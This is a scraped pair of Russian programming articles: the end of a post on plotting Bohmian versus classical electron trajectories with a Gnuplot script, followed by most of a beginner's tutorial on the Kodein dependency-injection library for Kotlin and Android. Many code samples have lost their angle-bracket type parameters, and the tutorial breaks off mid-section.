Интегрируется второй закон Ньютона при помощи [алгоритма Верле](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%A1%D1%82%D1%91%D1%80%D0%BC%D0%B5%D1%80%D0%B0_%E2%80%94_%D0%92%D0%B5%D1%80%D0%BB%D0%B5):
Начальное положение генерируется путём случайного выбора одного из протонов, вокруг него случайно выбирается направление (используя сферические координаты). Чтобы задать начальную скорость, нужно задать ещё одно, предыдущее положение. Оно выбирается ещё при помощи одного маленького случайного вектора.
Включая/выключая квантовый потенциал, мы переходим в квантовый/классический режимы движения.
Ну а дальше, можно построить красивые картинки, используя Gnuplot, для атома водорода
и для молекулы H2+
Как видно, классические траектории (верхние, синие) или очень локализованы, или, если слишком быстро заставить двигаться электрон, убегают от ядер. В квантовом же случае (нижние, розовые), квантовый потенциал позволяет электронам гулять существенно дальше от ядра, а в случае молекулы H2+, позволяет бегать от одного протона к другому, что является косвенной визуализацией химических связей.
Пару слов о построении картинок: чтобы создать эффект неона, каждая траектория рисуется много раз, от тонкой белой, до толстой чёрной, через тени интересующего цвета. Для удобства выбора такой палитры можно, например, воспользоваться сайтом <https://www.color-hex.com/>
Пример скрипта приведён ниже.
**Скрипт для Gnuplot**`unset key
set xyplane relative 0
unset box
set view map
set size ratio -1
unset border
unset xtics
unset ytics
set terminal pngcairo size 2160,4096 backgr rgb "black"
set output "tmp.png"
yshift=-5.0
maxiC=29
maxiQ=29
splot \
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 30.0 lc rgb "#030d19" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 18.0 lc rgb "#071b33" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 17.0 lc rgb "#0a294c" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 16.0 lc rgb "#0e3766" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 15.0 lc rgb "#11457f" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 14.0 lc rgb "#155399" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 13.0 lc rgb "#1861b2" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 12.0 lc rgb "#1c6fcc" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 11.0 lc rgb "#1f7de5" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 10.0 lc rgb "#238bff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 9.0 lc rgb "#3896ff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 8. lc rgb "#4ea2ff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 7. lc rgb "#65adff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 6. lc rgb "#7bb9ff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 5. lc rgb "#91c5ff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 4. lc rgb "#a7d0ff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 3. lc rgb "#bddcff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 2. lc rgb "#d3e7ff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 1. lc rgb "#e9f3ff" not,\
for [i=0:maxiC] sprintf("cmd_%05i.trj", i) w l lw 0.5 lc rgb "#ffffff" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 30.0 lc rgb "#190613" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 18.0 lc rgb "#330c27" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 17.0 lc rgb "#4c123b" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 16.0 lc rgb "#66184f" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 15.0 lc rgb "#7f1e63" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 14.0 lc rgb "#992476" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 13.0 lc rgb "#b22a8a" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 12.0 lc rgb "#cc309e" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 11.0 lc rgb "#e536b2" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 10.0 lc rgb "#ff3dc6" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 9.0 lc rgb "#ff50cb" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 8. lc rgb "#ff63d1" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 7. lc rgb "#ff77d7" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 6. lc rgb "#ff8adc" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 5. lc rgb "#ff9ee2" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 4. lc rgb "#ffb1e8" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 3. lc rgb "#ffc4ed" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 2. lc rgb "#ffd8f3" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 1. lc rgb "#ffebf9" not,\
for [i=0:maxiQ] sprintf("bmd_%05i.trj", i) u 1:($2+yshift):3 w l lw 0.5 lc rgb "#ffffff" not`
Заключение
----------
Бомовские траектории, хоть и сложны в понимании и вычислении, позволяют рисовать красивые картинки, которые показывают, насколько квантовая механика веселее и богаче классической.
Если есть комментарии, вопросы, предложения: пишите. :) | https://habr.com/ru/post/476948/ | null | ru | null |
# Kodein. Основы
Не нашел понятных гайдов для тех, кто `Kodein` видит в первый раз, а документация не во всех местах прозрачная и последовательная, поэтому хочу поделиться основными возможностями библиотеки с вами. Некоторые возможности библиотеки будут выпущены, но это в основном advanced часть. Здесь же вы найдете всё, чтобы по ходу чтения статьи нормально стартовать и начать внедрять зависимости с `Kodein`. Статья базируется на `Kodein 5.3.0`, так как `Kodein 6.0.0` требует `Support Library 28` или `AndroidX` и далеко не скоро все перейдут на них, так как многие сторонние библиотеки ещё не предлагают совместимых версий.
`Kodein` — это библиотека для реализации внедрения зависимостей (DI). Если вы не знакомы с этим понятием, то прочтите начало [статьи о Dagger2](https://habr.com/post/279125/), где автор кратко объясняет теоретические аспекты DI.
В этой статье мы будем рассматривать всё на примере Android, но, по заявлению разработчиков, Kodein ведет себя одинаково на всех платформах, которые поддерживаются Kotlin (JVM, Android, JS, Native).
### Установка
В связи с тем, что в Java есть `type erasure`, возникает проблема — компилятор стирает обобщенный тип. На уровне байткода `List` и `List` — это просто `List`. Все же остается путь получить информацию об обобщенных типах, но стоить это будет дорого, а работать только на JVM и Android. В связи с этим разработчики `Kodein` предлагают использовать одну из двух зависимостей: одна при работе получает информацию об обобщенных типах (`kodein-generic`), а другая нет(`kodein-erased`). Если на примере, то при использовании `kodein-erased` `List` и `List> будут сохранены как `List<*>`, а при использовании `kodein-generic` всё сохранится вместе с указанным типом, то есть как `List` и `List` соответственно.
Как выбрать?
Пишете **не** под JVM — используйте `kodein-erased`, по другому нельзя.
Пишете под JVM и вопрос производительности для вас уж очень важен — можете использовать `kodein-erased`, но будьте осторожны, этот опыт может оказаться неожиданным в плохом смысле этих слов. Если же вы создаете обычное приложение без особых требований к производительности — используйте `kodein-generic`.
В конечном счете, если задуматься о влиянии DI на производительность, то чаще всего основная масса зависимостей создается единожды, либо зависимости создаются для многократного повторного использования, вряд ли подобными действиями вы сможете сильно повлиять на производительность вашего приложения.
Итак, устанавливаем:
Первое — в build.gradle среди репозиториев должен быть jcenter(), если его там нет — добавьте.
```
buildscript {
repositories {
jcenter()
}
}
```
Далее, в блок dependencies добавляем одну из базовых зависимостей, о которых говорили выше:
```
implementation "org.kodein.di:kodein-di-generic-jvm:$version"
```
```
implementation "org.kodein.di:kodein-di-erased-jvm:$version"
```
Так как мы говорим об Android — зависимостей станет больше. Можно конечно, обойтись и без этого, Kodein будет нормально функционировать, но зачем отказываться от дополнительных, полезных для Android фич (о них я расскажу в конце статьи)? Выбор за вами, но предлагаю добавить.
Здесь также есть опции.
Первая — вы не используете `SupportLibrary`
```
implementation "org.kodein.di:kodein-di-framework-android-core:$version"
```
Вторая — используете
```
implementation "org.kodein.di:kodein-di-framework-android-support:$version"
```
Третья — вы используете AndroidX
```
implementation "org.kodein.di:kodein-di-framework-android-x:$version"
```
### Начинаем создавать зависимости
Используя `Dagger2`, я привык создавать и инициализировать зависимости при старте приложения, в классе Application.
С Kodein это делается так:
```
class MyApp : Application() {
val kodein = Kodein {
/* Зависимости */
}
}
```
Объявление зависимостей всегда начинается с
```
bind() with
```
#### Теги
Тегирование зависимостей в Kodein — это фича, схожая по функционалу с `Qualifier` из `Dagger2`. В `Dagger2` вам нужно делать или отдельные `Qualifier` или использовать `@Named("someTag")`, который по факту тоже `Qualifier`. Суть проста — таким способом вы различите две зависимости одного типа. Например, вам нужно получать `Сontext` приложения или конкретной `Activity` в зависимости от ситуации, следовательно вам нужно при объявлении зависимостей указать теги для этого. `Kodein` позволяет объявить одну зависимость без тега, она будет базовой и если при получении зависимости тег не указывать, то получим именно её, остальные же нужно пометить тегом и при получении зависимости тег нужно будет указать.
```
val kodein = Kodein {
bind() with ...
bind(tag = "main\_activity") with ...
bind(tag = "sale\_activity") with ...
}
```
Параметр `tag` имеет тип `Any`, поэтому можно использовать не только строки. Но помните о том, что классы, используемые как теги, должны реализовывать методы `equals` и `hashCode`. Передавать тег в функцию всегда нужно как именованный аргумент независимо от того создаете вы зависимость или получаете.
### Типы внедрения зависимости
В `Kodein` есть несколько способов предоставлять зависимости, начнем с самого необходимого — создания синглтонов. Жить синглтон будет в рамках созданного экземпляра `Kodein`.
#### Внедряем синглтоны
Начнем с примера:
```
val kodein = Kodein {
bind() with singleton { RoomDb() }
}
```
Таким образом мы предоставляем (провайдим) `IMyDatabase`, за котором будет спрятан экземпляр `RoomDb`. Создан экземпляр `RoomDb` будет при первом запросе зависимости, повторно создаваться он не будет, пока не будет создан новый экземпляр `Kodein`. Синглтон создается синхронизированным, но при желании можно сделать и несинхронизированный. Это увеличит производительность, но вы должны понимать риски, которые за этим следуют.
```
val kodein = Kodein {
bind() with singleton(sync = false) { RoomDb() }
}
```
Если есть необходимость создавать экземпляр зависимости не при первом вызове, а сразу после создания экземпляра `Kodein` — используйте другую функцию:
```
val kodein = Kodein {
bind() with eagerSingleton { RoomDb() }
}
```
#### Постоянно создаем новый экземпляр зависимости
Есть возможность создавать не синглтоны, а постоянно при обращении к зависимости получать новый её экземпляр. Для этого используется функция `provider`:
```
val kodein = Kodein {
bind() with provider { QuantityPresenter() }
}
```
В этом случае каждый раз, когда мы будем запрашивать зависимость `IMainPresenter`, будет создаваться новый экземпляр `QuantityPresenter`.
#### Постоянно создаем новый экземпляр зависимости и передаем параметры в конструктор зависимости
Вы можете при каждом запросе зависимости получать новый её экземпляр, как и в предыдущем примере, но при этом указывать параметры для создания зависимости. Параметров может быть максимум **5**. Для подобного поведения используем метод `factory`.
```
val kodein = Kodein {
bind() with factory { r: Int, g: Int, b: Int, a: Int -> RgbColorPicker(r, g, b, a) }
}
```
#### Каждый раз создаем кэшированный экземпляр в зависимости от параметров
Читая предыдущий пункт, вы могли задуматься о том, что было бы неплохо получать не каждый раз новый экземпляр по переданным параметрам, а получать по одному и тому же параметру тот же самый экземпляр зависимости.
```
val kodein = Kodein {
bind() with multiton { from: Int, to: Int -> IntRandom(from, to) }
}
```
В приведенном примере при первом получении зависимости с параметрами `5` и `10` мы создадим новый экземпляр `IntRandom(5, 10)`, при повторном же вызове зависимости с теми же параметрами мы получим ранее созданный экземпляр. Таким образом получается некий `map` из синглтонов с ленивой инициализацией. Аргументов, как и в случае с `factory` максимум **5**.
Как и в случае с синглтонами здесь можно отключить синхронизацию.
```
val kodein = Kodein {
bind() with multiton(sync = false) { from: Int, to: Int -> IntRandom(from, to) }
}
```
#### Использование Soft и Weak ссылок в Kodein
При предоставлении зависимостей с помощью `singleton` или `multiton` вы можете указать тип ссылки на хранимый экземпляр. В обычно случае, что мы рассматривали выше — это будет обычная `strong` ссылка. Но есть возможность использовать `soft` и `weak` ссылки. Если вы плохо знакомы с этими понятиями, то [загляните сюда](https://habr.com/post/169883/).
Таким образом ваши синглтоны могут быть пересозданы в рамках жизненного цикла приложения, а могут и не быть.
```
val kodein = Kodein {
bind() with singleton(ref = softReference) { WorldMap() }
bind() with singleton(ref = weakReference) { id -> clientFromDB(id) }
}
```
#### Отдельный синглтон для каждого потока
Это тот же самый синглтон, но для каждого потока, запрашивающего зависимость будет создаваться свой синглтон. Для этого используем уже знакомый параметр `ref`.
```
val kodein = Kodein {
bind() with singleton(ref = threadLocal) { LRUCache(16 \* 1024) }
}
```
#### Константы, как внедряемые зависимости
Можно и константы провайдить как зависимости. В документации обращается внимание на то, что вы должны провайдить с помощью `Kodein` константы простых типов без наследования или интерфейсов, к примеру примитивы или data классы.
```
val kodein = Kodein {
constant(tag = "maxThread") with 8
constant(tag = "serverURL") with "https://my.server.url"
```
#### Создаем зависимости без изменения типа
Например, вы хотите предоставить зависимость как синглтон, но при этом не прятать её за интерфейс. Можно просто не указывать тип при вызове `bind` и вместо `with` использовать `from`.
```
val kodein = Kodein {
bind() from singleton { Gson() }
```
Зависимость в примере выше будет иметь тип возвращаемого значения функции, то есть предоставляться будет зависимость типа `Gson`.
#### Создаем зависимости по подтипу суперкласса или интерфейса
`Kodein` позволяет предоставлять зависимость по-разному для наследников определенного класса или же классов, реализующих один интерфейс.
```
val kodein = Kodein {
bind().subTypes() with { animalType ->
when (animalType.jvmType) {
Dog::class.java -> eagerSingleton { Dog() }
else -> provider { WildAnimal(animalType) }
}
}
```
Класс `Animal` может быть как суперклассом, так и интерфейсом, используя `.subtypes` мы получаем `animalType` с типом `TypeToken<*>`, из которого мы уже можем получить Java класс и, в зависимости от него, по разному предоставлять зависимость. Эта фича может быть полезна, если вы используете `TypeToken` или его производные в качестве параметра конструктора для ряда случаев. Также этим способом можно избежать лишнего кода с одинаковым созданием зависимостей для разных типов.
#### Создаем зависимости, которым в качестве параметров нужны другие зависимости
Чаще всего мы не просто создаем класс без параметров в качестве зависимости, а создаем класс, которому нужно передать параметры в конструктор.
```
class ProductGateway(private val api: IProductApi,
private val dispatchers: IDispatchersContainer) : IProductGateway
```
Для того, чтобы создать класс с зависимостями, которые ранее были созданы в `Kodein` достаточно в качестве параметров передать вызов функции instance(). При этом порядок создания не важен.
```
bind() with singleton { DispatchersContainer() }
bind() with singleton { ProductGateway(instance(), instance()) }
bind() with singleton { ProductApi() }
```
Вместо `instance()` здесь могут быть вызовы `provider()` или `factory()`, подробнее познакомимся с этими методами в разделе получения и внедрения зависимостей.
#### Создаем зависимость путем вызова метода ранее созданной зависимости
Звучит не очень, но можно вызовом `instance` получить класс, который мы уже где-то провайдим и вызовом метода этого класса получить новую зависимость.
```
bind() with singleton { MySQLDataSource() }
bind() with provider { instance().openConnection() }
```
### Модули
Используя `Dagger2`, я привык разделать зависимости по модулям. В `Kodein`, на первый взгляд, выглядит всё не очень. Вам нужно прямо в `Application` классе создавать множество зависимостей и лично мне это не очень нравится. Но выход есть, `Kodein` тоже позволяет создавать модули, а потом подключать их в тех местах, где необходимо.
```
val appModule = Kodein.Module("app") {
bind() with singleton { provideGson() }
bind() with singleton { provideHttpClient() }
}
val kodein: Kodein = Kodein {
import(appModule)
bind() with singleton { SchedulersContainer() }
// другие зависимости
}
```
Но будьте внимательны, модули — это просто контейнеры, объявляющие методы получения зависимостей, сами они классы не создают. Поэтому, если в модуле объявить получение зависимости как синглтона, а после сделать импорт этого модуля в два разных экземпляра `Kodein`, то вы получите два разных синглтона, по одному на экземпляр `Kodein`.
Также имя каждого модуля должно быть уникальным. Однако, если вам нужно импортировать модуль из другого проекта, то гарантировать уникальности имени сложно, для этого есть возможность переименовать модуль или добавить к его имени префикс.
```
import(apiModule.copy(name = "firstAPI"))
import(secondApiModule.copy(prefix = "secondAPI-"))
```
Мне привычно работать, когда модули зависят друг от друга и составляют какую-либо иерархию. В `Kodein` можно импортировать каждый модуль единожды, поэтому, если в один объект `Kodein` вы попытаетесь импортировать два модуля, у которых есть одинаковые зависимые модули, то приложение упадет. Выход простой — нужно использовать для импорта вызов `importOnce(someModule)`, который проверит не был ли ранее импортирован модуль с аналогичным именем, а после при необходимости импортирует.
Например в таких случаях приложение упадет:
```
val appModule = Kodein.Module("app") {
bind() with singleton { provideGson() }
}
val secondModule = Kodein.Module("second") {
import(appModule)
}
val thirdModule = Kodein.Module("third") {
import(appModule)
}
val kodein: Kodein = Kodein {
import(secondModule)
import(thirdModule)
}
```
```
val appModule = Kodein.Module("app") {
bind() with singleton { provideGson() }
}
val secondModule = Kodein.Module("second") {
importOnce(appModule)
}
val thirdModule = Kodein.Module("third") {
import(appModule)
}
val kodein: Kodein = Kodein {
import(secondModule)
import(thirdModule)
}
```
Но если вызов `importOnce` будет при повторной попытке подключения, то все заработает. Будьте внимательны.
```
val appModule = Kodein.Module("app") {
bind() with singleton { provideGson() }
}
val secondModule = Kodein.Module("second") {
import(appModule)
}
val thirdModule = Kodein.Module("third") {
importOnce(appModule)
}
val kodein: Kodein = Kodein {
import(secondModule)
import(thirdModule)
}
```
#### Наследование
Если использовать один модуль дважды, то будут созданы разные зависимости, но как же быть с наследованием и реализовать поведение, подобное `Subcomponents` в `Dagger2`? Все просто, нужно лишь унаследоваться от экземпляра `Kodein` и вы получите в наследнике доступ ко всем зависимостям родителя.
```
val kodein: Kodein = Kodein {
bind() with singleton { SchedulersContainer() }
// другие зависимости
}
val subKodein = Kodein {
extend(kodein)
// новые зависимости
}
```
#### Переопределение
По умолчанию, переопределить зависимость нельзя, иначе пользователи сошли бы с ума, отыскивая причины некорректной работы приложения. Но есть возможность это сделать с помощью дополнительного параметра функции `bind`. Этот функционал окажется полезным, например, для организации тестирования.
```
val kodein = Kodein {
bind() with singleton { ApiImpl() }
/\* ... \*/
bind(overrides = true) with singleton { OtherApiImpl() }
}
```
По умолчанию, модули и их зависимости не могут переопределять уже объявленные в объекте `Kodein` зависимости, но вы можете при импорте модуля указать, что его зависимости могут переопределять существующие, а внутри этого модуля уже указать зависимости, которые могут переопределять другие.
Звучит не совсем понятно, давайте на примерах. В этих случаях приложение упадет:
```
val appModule = Kodein.Module("app") {
bind() with singleton { provideGson() }
}
val kodein: Kodein = Kodein {
bind() with singleton { provideGson() }
import(appModule)
}
```
```
val appModule = Kodein.Module("app") {
bind() with singleton { provideGson() }
}
val kodein: Kodein = Kodein {
bind() with singleton { provideGson() }
import(appModule, allowOverride = true)
}
```
А в этом зависимость модуля перезапишет зависимость, объявленную в объекте `Kodein`.
```
val appModule = Kodein.Module("app") {
bind(overrides = true) with singleton { provideGson() }
}
val kodein: Kodein = Kodein {
bind() with singleton { provideGson() }
import(appModule, allowOverride = true)
}
```
Но если очень хочется и вы понимаете что делаете, то можно создать такой модуль, который при наличии одинаковых зависимостей с объектом `Kodein` будет их переопределять и приложение при этом не упадет. Используем у модуля параметр `allowSilentOverride`.
```
val testModule = Kodein.Module(name = "test", allowSilentOverride = true) {
bind() with singleton { MockEmailClient() }
}
```
В документации рассматриваются более сложные ситуации с наследованием и переопределением зависимостей, а также с копированием зависимостей в наследниках, но здесь рассматриваться эти ситуации не будут.
### Извлекаем и внедряем зависимости
Наконец мы разобрались как объявлять зависимости множеством способов, пора разобраться как же их получить в своих классах.
Разработчики `Kodein` разделяют два способа получения зависимостей — `injection` и `retrieval`. Если коротко, то `injection` — это когда класс получает все зависимости при создании, то есть в конструктор, а `retrieval` — это когда класс сам отвечает за получение своих зависимостей.
При использовании `injection` ваш класс ничего не знает о `Kodein` и код в классе получается чище, но если использовать `retrieval`, то у вас появляется возможность гибче управлять зависимостями. В случае с `retrieval` все зависимости получаются лениво, только в момент первого обращения к зависимости.
#### Методы `Kodein`, с помощью которых можно получить зависимости
У экземпляра класса `Kodein` есть три метода, которые вернут вам зависимость, фабрику зависимостей или провайдер зависимостей — это `instance()`, `factory()` и `provider()` соответственно. Таким образом, если вы предоставляете зависимость с помощью `factory` или `provider`, то и получать вы можете не только результат выполнения функции, но и саму функцию. Не забывайте, что во всех вариантах можно использовать теги.
```
val kodein: Kodein = Kodein {
bind() with factory { value: String -> BigDecimal(value) }
bind() with provider { Random() }
}
private val number: BigDecimal by instance(arg = "23.87")
private val numberFactory: (value: String) -> BigDecimal by factory()
private val random: Random by instance()
private val randomProvider: () -> Random by provider()
```
#### Внедрение зависимостей через конструктор
Как вы уже поняли, речь пойдет именно об `injection`. Для реализации нужно сначала вынести все зависимости класса в его конструктор, а после создать экземпляр класса с помощью вызова `kodein.newInstance`
```
class ProductApi(private val client: HttpClient, private val gson: Gson) : IProductApi
class Application : Application() {
val kodein: Kodein = Kodein {
bind() with singleton { provideGson() }
bind() with singleton { provideHttpClient() }
}
private val productApi: IProductApi by kodein.newInstance { ProductApi(instance(), instance()) }
}
```
#### Внедрение зависимостей в nullable свойства
Вполне может возникнуть ситуация, когда вы не знаете была ли объявлена зависимость. Если зависимость не объявлена в экземпляре `Kodein`, то код из примера выше приведет к `Kodein.NotFoundException`. Если же вы хотите получить как результат функции `null` если зависимости нет, то для этого есть три вспомогательные функции: `instanceOrNull()`, `factoryOrNull()` и `providerOrNull()`.
```
class ProductApi(private val client: HttpClient?, private val gson: Gson) : IProductApi
class Application : Application() {
val kodein: Kodein = Kodein {
bind() with singleton { provideGson() }
}
private val productApi: IProductApi by kodein.newInstance { ProductApi(instanceOrNull(), instance()) }
}
```
#### Получаем зависимости внутри класса
Как уже упоминалось, в случае, когда используем `retrieval` — инициализация всех зависимостей по умолчанию ленивая. Это позволяет получать зависимости только в тот момент, когда они нужны, и получать зависимости в классах, которые создает система.
`Activity`, `Fragment` и другие классы с собственным жизненным циклом, это всё о них.
Для внедрения зависимостей в `Activity` нам нужна лишь ссылка на экземпляр Kodein, после чего мы можем воспользоваться уже известными методами. На самом деле выше вы уже видели примеры `retrieval`, нужно лишь объявить свойство и делегировать его одной из функций: `instance()`, `factory()` или `provider()`
```
private val number: BigDecimal by kodein.instance(arg = "23.87")
private val numberFactory: (value: String) -> BigDecimal by kodein.factory()
private val random: Random? by kodein.instanceOrNull()
private val randomProvider: (() -> Random)? by kodein.providerOrNull()
```
#### Передача параметров в фабрики
Выше вы уже увидели, что для того, чтобы передать параметр в фабрику достаточно использовать параметр `arg` функции `instance`. Но что делать, если параметров несколько (ранее я говорил о том, что параметров в фабрике может быть до **5**)? Нужно лишь передать в параметр `arg` класс `M`, который имеет перегруженные конструкторы и может принимать от 2 до 5 аргументов.
```
val kodein = Kodein {
bind() with factory { r: Int, g: Int, b: Int, a: Int -> RgbColorPicker(r, g, b, a) }
}
val picker: IColorPicker by kodein.instance(arg = M(255, 211, 175, 215))
```
#### Принудительная инициализация зависимостей
Как говорилось — по умолчанию инициализация ленивая, но можно создать триггер, привязать его к свойству, нескольким свойствам или целому экземпляру `Kodein`, после дернуть этот триггер и зависимости будут инициализированы.
```
val myTrigger = KodeinTrigger()
val gson: Gson by kodein.on(trigger = myTrigger).instance()
/*...*/
myTrigger.trigger() // Здесь произойдет инициализация экземпляра Gson
```
```
val myTrigger = KodeinTrigger()
val kodeinWithTrigger = kodein.on(trigger = myTrigger)
val gson: Gson by kodeinWithTrigger.instance()
/*...*/
myTrigger.trigger() // Здесь произойдет инициализация всех требуемых зависимостей из kodeinWithTrigger
```
#### Ленивое создание экземпляра Kodein
До этого мы постоянно явно создавали экземпляр `Kodein`, но есть возможность отложить инициализацию этого свойства с помощью класса `LazyKodein`, который принимает в конструктор функцию, которая должна вернуть объект `Kodein`.
Такой подход может быть полезен, если, например, неизвестно, понадобятся ли вообще зависимости из данного экземпляра Kodein.
```
val kodein: Kodein = LazyKodein {
Kodein {
bind() with factory { value: String -> BigDecimal(value) }
bind() with provider { Random() }
}
}
private val number: BigDecimal by kodein.instance(arg = "13.4")
/\* ... \*/
number.toPlainString() // Здесь произойдет инициализация объекта kodein и требуемой зависимости
```
К аналогичному результату приведет вызов Kodein.lazy
```
val kodein: Kodein = Kodein.lazy {
bind() with factory { value: String -> BigDecimal(value) }
bind() with provider { Random() }
}
private val number: BigDecimal by kodein.instance(arg = "13.4")
/\* ... \*/
number.toPlainString() // Здесь произойдет инициализация объекта kodein и требуемой зависимости
```
#### Отложенная инициализация Kodein
Для отложенной инициализации `Kodein` существует объект `LateInitKodein`. Вы можете создать этот объект, делегировать ему создание свойств, а уже после инициализировать сам объект, задав ему свойство `baseKodein`, после чего уже можно обращаться к зависимостям.
```
val kodein = LateInitKodein()
val gson: Gson by kodein.instance()
/*...*/
kodein.baseKodein = /* передаем ссылку на экземпляр Kodein */
/*...*/
gson.fromJson(someStr)
```
#### Получаем все экземпляры указанного типа
Можно попросить у Kodein экземпляр указанного типа и всех его наследников в виде `List`. Всё только в рамках указанного тега. Для этого есть методы `allInstances`, `allProviders`, `allFactories`.
```
val kodein: Kodein = Kodein {
bind() with singleton { Short.MAX\_VALUE }
bind() with singleton { 12.46 }
bind("someTag") with singleton { 43.89 }
bind() with singleton { 4562 }
bind() with singleton { 136.88f }
}
val numbers: List by kodein.allInstances()
```
Если выведете в лог, то увидите там [32767, 136.88, 4562, 12.46]. Зависимость с тегом в список не попала.
#### Упрощаем получение зависимостей с помощью интерфейса KodeinAware
Этот интерфейс обязывает вас переопределить свойство типа `Kodein`, а взамен предоставляет доступ ко всем функциям, доступным экземпляру `Kodein`.
```
class MyApplication : Application(), KodeinAware {
override val kodein: Kodein = Kodein {
bind() with singleton { Short.MAX\_VALUE }
bind() with singleton { 12.46 }
bind("someTag") with singleton { 43.89 }
bind() with singleton { 4562 }
bind() with singleton { 136.88f }
}
val numbers: List by allInstances()
}
```
Как видно, теперь можно просто написать `by allInstances()` вместо `by kodein.allInstances()`
Ранее мы уже говорили о триггере для получения зависимостей. В интерфейсе `KodeinAware` вы можете переопределить триггер и получать все объявленные зависимости по вызову этого триггера.
```
class MyApplication : Application(), KodeinAware {
override val kodein: Kodein = Kodein {
bind() with singleton { Short.MAX\_VALUE }
bind() with singleton { 12.46 }
bind("someTag") with singleton { 43.89 }
bind() with singleton { 4562 }
bind() with singleton { 136.88f }
}
override val kodeinTrigger = KodeinTrigger()
val numbers: List by allInstances()
override fun onCreate() {
super.onCreate()
kodeinTrigger.trigger()
}
}
```
Так как доступ к зависимостям и экземпляру `Kodein` осуществляется лениво — можно делегировать инициализацию экземпляра `Kodein` встроенной в Kotlin функции `lazy`. Такой подход может быть полезен в классах, зависящих от своего контекста, например, в `Activity`.
```
class CategoriesActivity : Activity(), KodeinAware {
override val kodein: Kodein by lazy { (application as MyApplication).kodein }
private val myFloat: Float by instance()
```
По тем же причинам можно использовать модификатор `lateinit`.
```
class CategoriesActivity : Activity(), KodeinAware {
override lateinit var kodein: Kodein
private val myFloat: Float by instance()
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
kodein = (application as MyApplication).kodein
}
```
#### Доступ к зависимостям без делегирования свойств
Если по какой-то причине вы не хотите использовать делегирование свойств, то можно использовать прямой доступ через `DKodein` (от direct). Основное отличие будет в том, что ленивой инициализации уже не будет, зависимость будет получаться сразу в момент вызова `instance`, `provider` и подобных функций. Получить `DKodein` можно из имеющегося экземпляра Kodein или же собрать с нуля.
```
class MyApplication : Application(), KodeinAware {
override val kodein: Kodein = Kodein {
bind() with singleton { BigDecimal.TEN }
}
val directKodein: DKodein = kodein.direct
val directKodein2: DKodein = Kodein.direct {
bind() with singleton { BigDecimal.ONE }
}
val someNumber:BigDecimal = directKodein.instance()
val someNumber2:BigDecimal = directKodein2.instance()
```
Kodein можно использовать в рамках `KodeinAware`, а `DKodein` в рамках `DKodeinAware`, можете поэкспериментировать.
### Получаем зависимости в рамках какого-либо контекста
Для того, чтобы получить из одного объекта `Kodein` несколько зависимостей одного типа мы уже разобрали вариант использования тегов и фабрики с аргументами, но есть ещё один — использовать контекст (и это не тот контекст, который в Android).
Отличия от зависимости с тегом:
* Тег нельзя использовать внутри функции, в которой мы создаем зависимость
* При использовании контекста мы имеем доступ к экземпляру контекста в функции создания зависимости
Часто вместо контекста можно использовать фабрику с аргументом и разработчики `Kodein` рекомендуют так делать, если вы сомневаетесь что же использовать. Но контекст может быть полезен, к примеру, когда вы не можете привести два аргумента к одному типу.
Например, у вас есть `Activity` и `Presenter`, а вы хотите, используя один объект `Kodein`, предоставлять несколько зависимостей разных типов по разному, в зависимости от того, в каком классе они получаются. Чтобы привести `Activity` и `Presenter` к одному типу — вам понадобится дополнительный интерфейс, а в фабрике придется проверять тип полученного аргумента. Схема не очень удобная. Поэтому смотрим как воспользоваться контекстом:
```
